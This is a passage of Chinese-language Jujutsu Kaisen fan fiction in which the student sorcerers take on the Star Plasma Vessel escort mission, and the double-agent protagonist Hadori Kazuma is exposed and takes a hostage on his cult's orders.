辅助监督摇下车窗,还没冲那几道背影喊完这句提醒,五条悟的声音便远远传来。 等家入硝子也下车,前面三个人已经冲进阳光照射不到的森林深处,彻底看不见了。 特级咒灵的诱惑力真的很大。 “……唉。” ……算了,反正她也只是负责治疗而已,跟不上输出主力的脚步也没关系。 鉴于洋馆内可能存在特级咒灵的威胁,外加救出歌姬的急迫性,五条悟在跑完那道长长的阶梯、能看见洋馆的刹那间,直接伸出了手。 ——[苍]! 原先坚固伫立于原处的混凝土、瓦片、钢筋以及木梁,被骤然刮起的无形罡风强行绞碎,又违反常理地被卷向天空,声势浩大到惊起一大片林中飞鸟,好似发生了一场小型地震。 而这场由咒力刮起的风暴,直到连洋馆内部的结构都被彻底破坏后才终于停歇。 放眼望去,这块地方仅剩下挖去了大片地基的深坑。 “来救你们咯——” 即使依靠感知无法判断诅咒在哪里,这双[六眼]依旧很好的为五条悟提供了精细的咒力视觉,让[苍]引发的破坏范围巧妙绕开了冥冥和庵歌姬。 此刻,不仅是庵歌姬正有点狼狈的从废墟里起身,同样避开[苍]释放方位的冥冥已经来到了深坑之外。 而五条悟踩在深坑边缘,朝坑底望过去的表情看起来格外遗憾。 “什么啊,不是特级咒灵。” 竟然真有会用结界术的一级咒灵啊,一真想要的【特级咒力结晶】泡汤了,好可惜。 庵歌姬:“……什么特级咒灵?还有你那是什么表情?” 五条悟摊开手:“保密——跟歌姬说了也不会懂啦。” 羽取一真祓除的咒灵能掉落结晶这件事,目前只有他、杰和硝子知道,其余人都是瞒着的。 “凭什么就说我不懂……注意敬语啊你!” 但五条悟已经直起身,问向来到他身边的羽取一真。 “让给杰?” 至于庵歌姬强调的敬语,那是看他想不想说,才不是对着年龄比他大的人都要说。 “嗯,”羽取一真说,“上次那只一级咒灵是交给我祓除的,所以这次轮到杰。” 这是他们之间的默契,当那只既长着类昆虫形与人型的一级咒灵从彻底破坏的结界里冒头,妄想攻击庵歌姬时,被夏油杰驱使的蠕虫咒灵一口吞入几乎整个身体,完全动弹不得。 “先别吞掉……嗯,确实不是特级咒灵啊,这只就留给我吸收吧。” 不是特级咒灵,有点失望,但也能接受。 站在旁边的冥冥好奇侧过脑袋,“为什么怀疑是特级咒灵?” “你们已经在里面待了两天哦,”五条悟眨了下苍瞳,“是有时间误差的那种结界型咒灵呢,还挺少见。” “原来如此,我大概知晓了自己身上发生的事情。但是,还有一个问题……” 发现仰头就能看见这片晴朗无垠的蓝天白云,冥冥朝他们露出微笑。 “[帐]呢?” “……啊。” ——下山途中,五条悟紧急打电话给等在森林最外围的辅助监督,拜托她帮忙遮掩过去,可不能惊动消防队、警察或者更要命的记者。 辅助监督在电话那头无语几秒,还是匆忙去联络当地的政府部门了。 “她说已经掩盖成爆炸事故了,应该没什么事吧……” 回宿舍的那段路上,五条悟仍显得有点忧心忡忡——主要是担心被夜蛾老师发现,他还是很有威慑力的。 主要是[指导之拳]很有威慑力。 羽取一真想再安慰一下他,但暂时没什么空。 他接到了来自酒见绫子的电话。 “——园田茂那边有动作了。” 第130章 羽取一真之前策反酒见绫子, 是看中了他在刚苏醒于这周目之时,酒见绫子就站在园田茂身边。 既是指,至少酒见绫子的地位在【星之子之家】并不低, 有概率接触到核心情报及动向。 而在前几次的交流中, 羽取一真也发现她本人的性格既不沉稳、也不谨慎,极其容易被突然上头的情绪控制,且会做出相对冲动的行动。 例如,之前被说破防了就会直接挂电话。 但她本人又并非彻底的坏或愚蠢,否则,她大可以给他的任务使绊子, 在报告里说几句他的坏话也很简单。 一个有点小脾气,头脑普通, 人没有坏得彻底, 又比较容易被煽动的辅佐型角色——这也是羽取一真最后决定尝试忽悠她的原因。 当然, 最关键的一点是在羽取一真目前接触时间最长的盘星教人员, 也只有酒见绫子了。 “他打算做什么?”羽取一真开口。 现在是晚上,他们已经从静冈县回到了各自的宿舍里休息。 五条悟嘟哝着今天拆迁洋馆扑了他满身好大的灰, 一回来就直奔宿舍去洗澡,暂时不会过来敲他的门。 “[天元同化],要开始了。” 酒见绫子无意识加快了语速,声音也连带提高些许, 听上去有点激动。 虽说【盘星教】本身是为了信仰天元大人而创立, 但[天元同化]每隔五百年才会发生一次,她本人同样是第一次经历这种极关键的大事。 “按照园田理事的说法, 他们已经得到咒术界即将发布[护卫天元同化]的任务,星浆体的身份同样已经确认,名为天内理子。” ——酒见绫子深吸口气, 继续说道。 “并且,除去早已潜伏进来的你以外,园田理事同样向孔时雨发布了暗杀委托,让他去联系信得过的人来干这件事。” 孔时雨……那个中介人吗。原来干的是这种中介。 羽取一真想了想,“知道杀手的身份吗?” “怎么可能会知道啊,又不是酒吧点单,挑中哪个就上哪杯酒。如果孔时雨把他的人脉全部都暴露给我们,自己还怎么赚钱?” 酒见绫子觉得这小子简直是强人所难。 “这样啊,”羽取一真追问,“还有呢?” 酒见绫子:“……我能听到这些已经很可以了,你还想要什么?园田理事也说发布暗杀委托也不过是多上一层保险,根本没指望孔时雨那边能成功。” 羽取一真思索片刻,微微摇头:“我倒觉得……孔时雨那边的人才是杀手锏。” 酒见绫子愣了下:“为什么会这么说?我亲耳听见园田理事……” “别忘记,我们已经被教祖大人列在怀疑名单里了。” 这句话一出,酒见绫子有几秒钟没有回应。 她隐隐察觉到,羽取一真似乎打算做点园田理事不被允许的事情。 但她本人在被利益一时诱惑、出声答应对方的那一刻起,就已经跟对方站在了同一条战线上。 “会议后来,园田理事还独自和孔时雨在房间里聊了一会,”酒见绫子开口,“我不知道他们说了什么,但我直觉猜测……跟你有关。” “和我有关,却要瞒着你吗……” 羽取一真陷入沉思。 他其实也不确定自己有没有那位教祖被怀疑,但以一周目[夏油杰]算计他的谨慎作风,羽取一真更倾向于按照[已被怀疑]来处理。 何况,他现在是悟这边的人。 按照那个教祖之前的说法——[六眼]必定会接下[护卫天元同化]的任务。 那么,他跟园田茂派来的杀手百分之百是对立战线。 很可惜,要是酒见绫子能知道更多的情报就好了,比如杀手是谁,打算如何实施暗杀计划之类。 会直接偷袭悟吗,还是去杀那位星浆体? 羽取一真开口:“你能不能想办法建议让孔时雨安排的杀手联系我?就说内外合作的任务效率更高……之类的。” “还能用这种说法?”酒见绫子惊了下,“我会去尝试,但你别报多少希望,我和孔时雨只是打过几次照面而已,完全不熟。” 羽取一真还想继续说点什么,但门外已经传来了悟的敲门声。 还搭配有他自己唱的背景音乐。 “一真一真,一真快快开门——” 简直能幻视一只雪白蓬松的大猫直起身,在蹦跶着用两只前爪拼命擦玻璃门。 羽取一真被自己脑补出来的画面可爱到没忍住笑了一下,声音很轻,但十分清晰。 “我这边还有事,先不聊了。” ——他对酒见绫子说完这句话,也不管对面那边震惊到脱口而出一句“你刚才是不是笑了”,直接挂断电话。 留下酒见绫子对着手机沉默:“…………” 沉默中还带着一丝丝心梗。 以前都是只有她挂断羽取一真电话的份,现在倒好——这小子是不是已经挂断她两次电话了?? 那张接近面瘫的冷脸竟然还会对着不知名的人笑……也不知道夸赞她两句干得好。 哼,真没礼貌! ………… 酒见绫子送过来的情报不算晚,但也早不到哪里去。 第二天上午,夜蛾正道就把他们所有人叫到活动室,四个人排排跪坐。 电视机上正在播放昨天的新闻。 【昨日静冈县滨松市发生一起废弃洋馆的爆炸事故,原因竟然是燃气管道年久失修导致的产生劣化?!让我们来连线现场记者,获得最新近况……】 在场四人:………… 报道的内容就是他们昨天去完成的那个任务啊…… “好像有某人说自己会放[帐],结果撇下辅助监督跑掉后,还把[帐]忘记了啊。” 夜蛾正道坐在长凳上,盯着眼前这四个不让人省心的学生。 “自己坦白。” 被夏油杰和家入硝子默默伸手指着的五条悟:“……” 五条悟举手:“老师!我申请停止停止寻找犯人——” 羽取一真跟着举手:“我附议。” 夜蛾正道:“……包庇同罪。” 指导之拳,一拳一个。 ——好在夜蛾正道还要继续说点什么的时候,被一个电话紧急叫走了,让这四人先回教室里等着。 “所以说啊,[帐]有那么必要吗?反正普通人也看不见咒灵和咒术嘛。” 五条悟顶着头顶的包,嘟嘟囔囔的蹭在羽取一真肩头——后者看了眼自己那仅减少一丝丝的体力值,心领神会的抬手给撒娇小悟揉揉脑袋。 这可是又柔软又蓬松,手感绝佳到仿佛在触摸云朵的纯白毛毛! 不摸白不摸,每多摸一秒都是赚的! 夏油杰看了眼这两位一举一动都极亲密的友人,默默叹出口气。 “不行啊,抑制咒灵产生的最好办法就是保证普通人的内心平稳,”夏油杰说,“如果普通人得知了咒灵的存在,只会更害怕,进而催生出更多的咒灵。” “害怕吗?”五条悟歪过脑袋,墨镜后的苍瞳看着夏油杰,“我倒不这么认为。无论是润子姐姐、智也大叔,还有被诅咒附身过的加奈,他们在听到咒灵的存在后,好像也并没有显得非常害怕嘛。” “不能用一两个人的例子,来代表全部人类。”夏油杰摇头,“何况普通人没有咒术,自身太过弱小。身为强者的我们必须要用咒术保护他们,即千年以来都在持续的[咒术师保护非咒术师]。” “铲除威胁,让弱者也能生存下来……这才是正常社会应有的模样。” “我们跟普通人有什么区别?除了拥有咒术以外。” ——在五条悟皱起眉毛,但还没来得及出声反驳前,羽取一真率先开口道。 夏油杰:“……什么?” “你想往咒术上附加一些责任或者理由,我是无所谓的。但咒术本身就跟[跑得特别快]、[画得特别好]、[唱得特别棒]一样,只是人类的天赋之一而已,没什么大不了的。” 羽取一真淡淡道,“何况,咒灵这种存在就很突兀,突兀且多余。要我说,正常社会应该有的模样,是【咒灵全部都消失】。” ——就像他所在的现实世界那样。 但在他这句话的尾音落下之后,其余三人的眼睛都惊到瞪大了,齐刷刷盯过来。 连刚要冒起的争吵苗头,也被这一句惊世骇俗的发言彻底震灭。 “怎么了,有什么问题?” 羽取一真面色淡然,压根不觉得自己这句话有哪里说的不对。 “呃,想、想法确实很好,但是,你也听过夜蛾老师讲的内容——[咒力来源于人类的负面情绪,普通人泄漏出来的负面情绪会沉淀出咒灵,咒灵必须用术式或咒具内蕴含的诅咒才能祓除]。” 夏油杰卡壳了下才出声解释,顺便在脑内惊叹一真的异想天开。 “这套体系是环环相扣的,不可能单独缺失其中一环。” 这也是咒术界会存在上千年的缘故。 “但是,咒灵全部消失……确实啊,要是能做到的话,我们也不会再这么累了吧?”五条悟沉吟,“别说,那种场景光是想象一下就觉得很不错。” 夏油杰:“可这注定是无法实现……” ——唰拉一声,教室门被拉开,是夜蛾正道回来了。 四人瞬间从歪七扭八的随性坐姿,变成了认真听讲的正襟危坐。 “在说什么无法实现?” 夜蛾正道只听见了最后这点。 “不哦,没什么。” 五条悟若无其事的帮一真遮掩过去——刚才那段话要是被夜蛾老师知道,肯定会唠叨一真又没有认真听课。 “老师才是,刚才去做什么啦?需要我们恭喜你接任校长了吗?” “是啊,也该到时间了吧。” 附和的夏油杰也在帮着打掩护。 “别乱猜,接下来要说的是正事。” ——二人的发言都被夜蛾正道抬手叫停,也随之忘了刚才要追问的事情。 “一个责任很重的任务,但毕竟是来自天元大人的指名。由悟、杰以及一真,你们三个接手。” “委托有二:护卫天元大人的适配者少女[星浆体],并进行抹杀。” 在五条悟与夏油杰吃惊这个被安排给他们的任务时,羽取一真没有太多反应。 果然是跟[天元同化]相关的任务,也是他被【盘星教】送来这所学校的唯一目标。 “位于高专各校的结界、辅助监督掌握的结界术,乃至覆盖日本中枢区域的净界,都仰赖于天元大人千年来的维持——倘若同化失败,不仅天元大人会迎来结果未知的‘净化’,连带整个咒术界正常的安全防护及任务处理都将难以正常进行!” 夜蛾正道挥手拍在写有[Q]和[盘星教]字样的黑板上,语气严厉。 “同化时间为两天后的满月!在此之前,你们必须从盯上[星浆体]的这两个团体手中,完好无损的将少女护送到位于薨星宫的天元大人那里!” “——了解!” ……… 与此同时,某栋大楼的顶层观景台。 “我接到了来自盘星教的星浆体暗杀的委托,报酬相当丰厚,护卫方的内部还有人接应。”孔时雨开口,“如何,要来掺一脚吗,禅院?” “有内部接应还要额外委托,”被叫做[禅院]的男人慢吞吞回道,“是在暗示什么?” “你的感觉很敏锐。”孔时雨笑道,“你可以将他当作耗材随意使用,要信任还是丢出去当吸引火力的弃子都随你——那边是这么告诉我的。” “哈…那帮上层人看我们,总是像在看好用的垃圾而已。” 穿着纯黑长袖衬衫的男人双手插兜,似笑非笑的回答时,目光往孔时雨那边瞥去。 “既然你说报酬丰厚,那就接下来吧。” “——还有,我已经入赘了,现在是伏黑。” 130-140 第131章 按照夜蛾正道的催促, 星浆体的位置不知为何泄露,他们需要尽快赶往那位天内理子所在的公寓。 “所以,我们最需要警惕的是那个叫[Q]的诅咒师集团?” 紧赶慢赶来到高级公寓的楼下, 正好感觉口渴的五条悟路过自动贩卖机的脚步一停, 转而拐去买了两听饮料。 投币、按下选择键、从出物栏里捡起一听给自己,另外一听随手丢给羽取一真——整套动作丝滑流畅,行云流水得仿佛都不需要经过大脑思考。 “差不多,[盘星教]是一个非术师的宗教团体,本身几乎不具备对咒术师的作战能力。” 夏油杰回答了五条悟的疑问,并在他接着问“你要喝不”之后摇了下脑袋——他还是不习惯喝这种口味太甜的果汁汽水。 也就羽取一真会陪着他吃各种稀奇古怪的甜食。 羽取一真接到悟抛给自己的那听饮料, 拉开易拉罐环时默默补充了一句。 “未必。” 他不就是那个[盘星教]里比较能打的“叛徒”吗。 但在二人看过来的疑惑目光里,羽取一真补充道:“他们可以选择雇佣术师。” “确实啊, 宗教团体总是很有钱的, 我记得宗教法人还免税来着?” 五条悟仰头畅快喝了口饮料, 惬意吐出口气。 “这你也知道?”夏油杰这下是真惊讶道, “我还以为你对普通社会的制度一无所知呢。” “别小看我啊,最近的我可是在研究反转术式和术式逆转的空闲之余, 一直在读日本的法典哦。” 五条悟哼笑出声,“之前有人提醒了我,觉得我们的年龄、劳动付出、劳动期间的身心健康保障与拿到手的报酬都不匹配——我一想,嗯, 很有道理!” 夏油杰张了张口, 才默默吐出一句:“但是咒术师应该不归日本普通社会的法律管吧……” 早就看完相关内容的五条悟顿时理直气壮:“谁说不管?日本法是属地管辖原则,只要发生在日本境内的事情, 它都能管。再说了,就算是属人管辖原则,我们也都是本国国籍吧?” 夏油杰震惊望着五条悟:“…………” 这家伙竟然真的在钻研日本法, 而且听上去已经变成了半个万事通! 五条悟喝完最后一口饮料,“我跟你说,之后我还打算……” 轰——! 仰头望去,这栋高达二十层的高级公寓楼因不知名原因爆破了一处,烟尘迅速自破坏的墙面朝外弥散。 “是那个[星浆体]的家?” 五条悟一手干脆地捏扁了汽水罐,揣进口袋里——跟上周目的他捏扁蛋糕包装再揣进口袋里的动作一模一样。 “已经发生袭击了吗……” 夏油杰抬手摆出召唤咒灵的起手式。 “这下要是死了,是不是要怪在我们头上?” 五条悟正说着,三个人眼睁睁瞅见一个疑似人体的小黑点从高处迅速坠落—— “啊。” 夏油杰正打算召唤出来的咒灵一顿,立刻切换成飞行类的鬼蝠鲼咒灵,坐着就赶紧迎上去接人。 “哎呀好险好险——” 五条悟感叹着幸好他们之中还有一个能飞的,边并拢二指竖起,发动了能轻松格挡住所有飞刃的[无下限]术式。 蒙面,长发,短帽檐的正前方有一个[Q]标志,还穿着不知道哪个年代冒出来的军服改良——甚至还搭配了一件能羞耻死人的短披风,这种反派让五条悟打眼一看,直接被划归到[杂鱼]的行列。 “太棒了,你就是五条悟吧,听说很强啊,就让我……” 而这个[Q]集团的杂鱼,还要拍着手一本正经的来夸奖他,搞得好像这家伙有多厉害似的。 “听你啰啰嗦嗦的好烦啊。一真,上!” 五条悟抬手一指,羽取一真立刻配合地抽出别在腰后的[业双],释放[黑闪]技能锁定眼前这个男人,直接一棍快准狠地挥下去! “——嗷!!” 后半句话骤然卡在嗓子眼,这只[Q]杂鱼完全没想到羽取一真竟然说上就上,没有半点先互相客套两句的武德! 这臭小子是狗吗,听到上就上的! 他仓促之间抬手格挡,直接被打断了骨头,疼得他眼泪当场飙出来。 “咦,这么快就不行了?” 那个传闻中的[六眼]五条悟还要神气活现的嘲讽他,走过来的模样简直臭屁得要死——让[Q]集团最强的战力拜尔想对着他破口大骂,但又忌惮仍站在旁边、看上去随时都能再给他来上一棍的羽取一真。 “反正你都哭了,干脆就哭着来道个歉吧?” 五条悟低下头,墨镜后的苍瞳笑眯眯盯着这只杂鱼——强烈的压迫感随着他弯腰将距离拉近,变得愈发明显,令拜尔的表情逐渐惊恐起来。 “那样的话,我就考虑下留你一条小命呗。” “………!!” ——轻松搞定这边,五条悟顺手拍了张杂鱼照片,发给夏油杰。 那边也很快就回了个[OK,我这边也结束了],并让他们也过来公寓这边汇合。 “什么诅咒师集团[Q],根本不堪一击嘛。” 五条悟边啪啪按着电梯按钮,边跟羽取一真嘀嘀咕咕的吐槽。 “还以为他身后会有什么大家伙,结果那就是[Q]的最强战力?搞什么啦,他们到底是怎么藏了这么就都没被清理掉的?” 羽取一真想了想,猜测道。 “大概是人手不足吧。” 而且,比起听起来很唬人的诅咒师集团,更像是摆不上台面的混混压马路。 或者也有可能,这只是让他们放松警惕的一种做法。 就凭这些人也想颠覆咒术界压根不可能,但很容易让没什么心理战术经验的少年麻痹于[自己实力果然很强]的飘飘然里,进而对真正到来的危机浑然不觉。 鉴于之前那个[教祖]能动用诅咒师来达成目标的筹谋,令羽取一真必须要谨慎一点、更谨慎一点地去揣测“她”的能耐。 羽取一真盯着电梯屏幕上不断跳动的数字,心底的那根弦始终紧绷。 他不会在同一个地方跌倒第二次。 ——叮。 到达电梯顶层,五条悟一眼就看见了从外墙壁破洞进来的夏油杰特意给他们打开的公寓房门,拉着羽取一真就往那边跑。 这条走廊空空荡荡,其它房间也不知道有没有居民,这么大动静竟然没有一个人出来看热闹——也可能是被高专方提前疏散了。 “杰,怎么说!” 坐沙发上听到动静的夏油杰抬头,示意他跟羽取一真往对面看——[星浆体]天内理子正躺在沙发上,和另外一位女仆模样打扮的人靠在一起昏睡着。 “没有受伤,应该只是爆炸冲击导致的昏迷。但这里的位置已经暴露了,以防万一,我们先立刻转移地方吧。” 三人无异议,但问题是由谁来抱这两人离开。 “我和一真抱都有点不合适吧,毕竟是这么年轻的女孩子。” 五条悟举起双手,露出[哎呀他现在可是有主的人了]的小骄傲表情。 “………”无故被秀了把恩爱的夏油杰忍了忍,“我只能带一个人。” 五条悟:“用你的咒灵嘛,一只叼一个人也超轻松!” 夏油杰:“普通人醒来就看见自己浮在空中,会被吓得半死然后离我们十米远吧?……话说她们能看见诅咒吗?” 通常而言,非濒死状态的普通人是看不见诅咒的——但[星浆体]或许是特殊情况呢? “不知道啊,”五条悟耸了下肩膀,“那杰就一边肩膀扛一个呗,反正你有两个肩膀。” 夏油杰:“………” 夏油杰的额角青筋顿时微微一跳。 真是越说越离谱了这家伙! 好在这时,那位穿着女仆装的年轻女性先醒了过来,茫然看着站在沙发前的三人。 “你们这是……” “太好了,你看起来平安无事。我是夏油杰,这边两位是五条悟和羽取一真,都是高专方派来护送你们的术师。方便知道你的名字吗?” 夏油杰立刻转移注意力,坚决不要再和五条悟讨论到底该怎么搬运的话题。 “黑井…黑井美里。” 黑井美里的目光在这三个明显看起来年纪不大的少年里逡巡几圈,突然锁定了五条悟和羽取一真。 那头白发,还有墨镜后的蓝瞳——标识太明显,黑井美里想忘记都很困难。 “……五条悟和羽取一真?是唱《FIND》的那对新人组合吗??” “咦,你认识我们?是粉丝的话,想要我和一真给你签个名也没问题哦。” 五条悟愉快笑出声,脑袋一歪,超可爱的冲她眨了眨眼。 “不,是大小姐她之前提到过……” 黑井美里刚开口解释,靠在她身边抱枕的天内理子也迷迷糊糊睁开眼,看清了站在她面前的这三人——确切地说,是看见了五条悟和羽取一真。 “五条悟和羽取一真竟然站在我家被轰出了一个洞的客厅里,我一定是做梦还没有睡醒……” 一眼就认出他们的天内理子抱紧怀里抱枕,默默翻了个身,大有要再睡上一觉的架势。 众人:“………” 一阵凉飕飕的穿堂风从瘸了面墙的客厅窟窿里吹进来,把天内理子吹得眼睛骤然圆睁,顿时一个翻身而起。 “你们是谁啊!!!” 对上视线的五条悟无辜耸肩。 “五条悟和羽取一真啊,你刚才喊的。” 毕竟是上过节目、接受过杂志专访、发行过单曲唱片、应邀当过演唱会嘉宾的超火爆二人组合啦,普通社会里有很多粉丝喜欢他们——也是很正常的事情嘛。 但没想到[星浆体]竟然也是其中一员呢。 “但你们怎么可能来我家啊……还有我的家竟然成了废墟!” 天内理子对着客厅窟窿抱头正要发出悲鸣,突然回忆起昏迷前发生的事情——“对了,偷袭!” “黑井,你没事吧!” 天内理子立刻又扑到黑井美里身上,那双偏青绿的眼瞳紧张得扫来扫去。 “……”五条悟拱了拱羽取一真,“她比我想象中的活泼好多啊。” 还以为会是听说自己即将要被[同化],心思敏感又消沉的类型呢。 “哼哼,即便你是五条悟,也不了解妾身啊。” 天内理子站起身,“总有人会将[死亡]和[同化]混为一谈,但那可是大错特错!妾身即为天元大人,天元大人即为妾身,纵使[同化]后,妾身的意志、心智以及灵魂,皆与天元大人同在……!” 这大段话全是用古日语说的,听得高专这边的三人默然片刻。 “要签名吗?” 五条悟拿起笔和本子,进行一个战术打断,令天内理子那大段拗口的古日语骤然一停。 “——要,拜托您了!” 第132章 五条悟很是豪爽的给天内理子, 以及天内理子的朋友abcde……分别在每页纸上都签好了个名,笔记本都占满一小半。 反正再多还能比之前在书店里签的多?五条大帅哥签得轻轻松松啦。 写完自己的,五条悟又将纸笔交给羽取一真, 让他也在自己的名字旁边写上他的。 羽取一真刚写好两个, 就被大明星小悟摇着脑袋打断了,开始手把手教人怎么写签名。 “又不是给自己的试卷写名字,怎么能这么端正?狂野一些啦,狂野。” “唔…有点难仿写……” 羽取一真费劲照着悟打的样开始临摹自己那已经完全认不出来的名字,一笔一划都变得格外艰难。 夏油杰在旁边心累捂脸。 不要太宠着他啊一真,那家伙真的会把鼻子翘上天的…! 等羽取一真也在每一个五条悟的名字旁边签好自己的, 天内理子格外珍重地将那本笔记本收在怀里。 “好想把它当成传家宝……可惜还要分给朋友……啊对了,学校!” 天内理子一惊, 边匆匆忙忙收拾书包边问黑井美里, “现在几点了?” 夏油杰赶紧抬手拦住:“等下, 现在还要去上学吗, 太危险了小理子,你应该要回高专等同化才最保险……” “要去哇!”天内理子抿起嘴瞪着夏油杰, “哪怕仅剩下两天……妾身也想去!” 夏油杰与她凝视片刻,无奈侧过身放行。 “去学校也说妾身吗?” 五条悟跟着捂住嘴窃笑。 “用这种说话方式交朋友实在很不容易吧?” 天内理子:“……” 天内理子怒瞪着这两个人,脸色逐渐爆红。 “我在学校会普通的说话啦!!” 虽说在这种身份已经暴露的关键时刻,还放任天内理子上课确实是有些危险, 但她相当于被判了两天后的死期, 如果不在这段时间跟朋友告别,以后就再也没有了机会。 “没关系啦, 又不是什么大事。” 五条悟握拳,碰了碰面露担忧的夏油杰肩头。 “我们三个人这么强,还怕保护不了区区一个小女孩吗?” 夏油杰失笑:“明明你自己也没有大她几岁……还管人家叫小女孩呢。” 五条悟冲他吐舌做了个鬼脸, 特意打电话给夜蛾老师说明情况——幸好后者也同意了这一决定。 “虽然我也认为回高专待在同化之日的方针最好,”夜蛾正道说,“但这是来自于天元大人的命令,需要我们遵从天内理子在此期间的所有要求。” “哪怕是任性也好,就当满足小姑娘最后的心愿吧……只能拜托你们多辛苦些了,悟、一真和杰。” 五条悟挂断电话,冲等在旁边的众人一耸肩。 “——他就是这样说的啰。” 以防万一,他们也跟着天内理子来到廉直女子学院中等部附近,无论出什么意外都能火速赶到。 本来还想一直跟着天内理子的,被她以[你们要是出现会引起轰动]为由,坚决禁止进入学校。 在全是年轻人的学校里,五条悟和羽取一真确实是不可言说的两尊引爆器,杀伤力大到出现就登上明日头版头条—— 【惊!超受欢迎又莫名神隐的大明星竟空降某女子校园!】。 光是想象一下就绝对不行哇! 鉴于天内理子坚定的拒绝态度,众人只好退而求其次,由夏油杰放出了一圈低阶咒灵在天内理子身边。 哪怕无法视觉共享,也能通过被祓除后的反应察觉到异常。 而这策略也相当有效,当他们在目前无人使用的游泳池旁等了没多久后,夏油杰豁然起身。 “快走,有两只咒灵被祓除了,是诅咒师。” 五条悟顿时表情凝重——之前羽取一真猜测过的雇佣诅咒师来发动袭击,果然应验了。 “哪间教室?” 由黑井美里带路,五条悟、羽取一真和夏油杰毫不停歇地奔跑在教学楼的走廊内。 “这个点是音乐课,应该在音乐室或者礼拜堂!” 五条悟:“礼拜堂??” 黑井美里:“这是间教会学校,去哪里上课全凭老师决定!” “哈……那就这样吧,悟去建筑明显到不用指路也能认出来的礼拜堂,一真由黑井小姐带路去音乐室,我来处理身份不明的诅咒师。” “收到!” 简单决定分头行动的路线,夏油杰立刻脱离队伍,前往方才咒灵被祓除的位置。 “音乐室在这边,跟我来!” ——黑井美里则带着羽取一真和五条悟往音乐室赶去,中途指向窗外一栋教堂外观的建筑。 “那里是礼拜堂,拜托了!” “好唷!” 五条悟当即一手撑着窗台翻身而出,动作矫健且流畅,好似一只身型敏捷的漂亮雪豹。 留下羽取一真跟着黑井美里继续跑向音乐室,看着她气喘吁吁的用力拉开教室门—— “大小姐!” 空无一人,天内理子在礼拜堂! 黑井美里撑着门框休息片刻,待剧烈的喘息得到稍许平复后,便转身要往这栋教学楼的外面,朝礼拜堂的方向冲去。 “没事,悟去了那边。” 跟在她身边的羽取一真安慰道,“他不会让天内出事的……” “呀——!!!” 就在此时,不远处的教堂——五条悟刚才前往的地方——突然爆发出了猛烈的欢呼与尖叫。 “是真的五条悟呀!!!” “悟大人!签名!!拜托给我一个签名!” “悟酱!!悟酱近看果然更帅了!” “我不是在做梦吧!!” “笑起来真的超帅!!!可以合影吗,合影一张!!” 那边传来的欢呼实在太热闹,令羽取一真冲向礼拜堂的脚步陡然一停。 “………” 突、突然不是很想过去了…… 回忆起当时在书店被包围到水泄不通、签名签到手抖的经历,羽取一真至今仍旧心有余悸。 就在羽取一真纠结要不要去救悟于水火之中时,黑井美里示意他看向窗外的庭院小径——那里站着一个头戴怪异纸袋的陌生人影。 “没在学校里见过这个男人,很可疑。” 不用去礼拜堂的羽取一真心底顿时就松了口气,拔腿就往那边跑。 “那就先解决掉他。” 为了防止被礼拜堂的同学们认出来,羽取一真特意绕了点路,用背影对着那边。 在[业双]被他旋开、化作双刃形态之时,他眼角的余光瞥见五条悟直接拎着天内理子冲出礼拜堂、跳上屋顶,改走特殊路线。 动作很是灵巧轻盈,背影却有一点点狼狈逃窜的味道,也不知道这么做是为了躲避过于热情的粉丝们,还是因为走屋顶赶路更快。 “哦?看你这身制服,是高专……” 身后的动静变得超大,估计是粉丝追了出来——羽取一真顿时一惊,哪里还有空听这喽啰吟唱开场白,甩手掷出一记凌厉的飞刃。 <术式顺转·裂>! “什……!” 当他身处的那片空间迅速碎裂之时,头戴怪异纸袋的男人竟然连一句完整的惊呼都没有说出口,便化作一滩污泥似的暗影,迅速融入了地下,逐渐消散。 “式神?!” 头一次见到身体融化的场景,黑井美里的眼睛瞪大,“还是死了?” “不,和式神有点不同。” 解决完他那边敌人的夏油杰也赶了过来,边打电话给五条悟,语速飞快地同时向三人都说明情况。 “喂喂,悟?小理子被悬赏了三千万,就挂在诅咒师专用的黑网上,时限为截止后天上午11点。” “难怪有诅咒师跑来杀天内,原来是这么回事啊。” 五条悟了然,听见夏油杰后面接着句“但是”,却又没了下文。 “怎么了?”五条悟追问,“不要吞吞吐吐的啦。” 夏油杰沉默片刻,还是将原话复述了出来。 “那个老爷子诅咒师告诉我,他们接到任务的时候,被告知护卫方——也就是我们之中——会有卧底协助他们。” 听到这句,羽取一真的脸上依旧没什么表情,心底却是一顿。 他立刻就判断出,这是那个孔时雨联络的杀手特意放出来的消息。 目的是为了让他们互相猜忌——除去出身御三家的悟以外,他和夏油杰都是非家系,拥有同样的嫌疑。 ——就在这时,他放在口袋里的手机一震,是收到邮件的提示。 五条悟:“………” 电话另一头,听到这消息的五条悟眉梢险些挑上天。 “哈??竟然会说出这种滑稽的假消息,笨蛋才会相信吧?” 夏油杰跟着笑了下,也觉得这确实是无稽之谈。 “是啊,所以我也有点犹豫要不要讲给你听。” 但当他结束通话后,转头——却对上了[业双]的其中一柄刃尖。 “……!” 在夏油杰的视野里,羽取一真单手拿着手机,另一只手平举[业双],却是稳稳瞄准在他的眉间处。 黑井美里倒在地上,已被打晕了。 “等下,一真你……” 夏油杰怔住时,方才浮现在唇角的笑意尚且没来得及消失。 “抱歉,”羽取一真看向他的黑瞳平静,“我接到了命令。” ——确切的说,是邮件里写明的,冲着暴露他身份而来的安排。 [绑架黑井美里当人质,已安排盘星教的人来接应你。] 这也是孔时雨那边想出来的计策?即使他不照做,身份也会当场暴露。 目的并非挑拨离间,而是自相残杀。 而此刻,从校门外朝这边过来的一群白袍们,已齐声唤出对羽取一真的称呼。 “圣子大人,时机已至。” 夏油杰的目光往边上看去,那些披着宽大白袍的家伙全都戴着宽大的兜帽,拉高的衣领则挡住了下半张脸。 而当这群白袍向羽取一真行礼,又分出两个人,动作利落的将黑井美里用麻绳捆牢带走时,夏油杰才敢相信——刚刚从诅咒师口中听到的消息竟然是真的! “你是圣子?” 夏油杰的语气错愕极了,身后的空间泛起剧烈颤动的涟漪,却始终不见咒灵自墨似的裂隙中爬出。 没有对他动手……是信任度达到80%以上的效果? “嗯,如假包换。” 羽取一真在脑海里飞快评估当下形势,回应的口吻平淡。 “[绑架黑井美里]是我刚才接到的指示。如果想要救回她,就拿天内理子来交换吧。” 纵使他能在这里杀光盘星教所有人,当场宣布自己已加入高专阵营,却也绝对不可能会有轻易接近那个[教祖]的机会了。 被白袍们的簇拥下,羽取一真收回[业双],最后对夏油杰提醒道。 “如果你们同意交换,我会再告诉你们约定地点的。” 在[我]字上,特意加了重音。 第133章 羽取一真跟着白袍们坐上其中一辆车, 黑井美里被安排在后备箱里。 “谁喊你们过来的?” 既然有圣子这层身份,他便直接声音冷淡的发问。 “是孔时雨大人。” 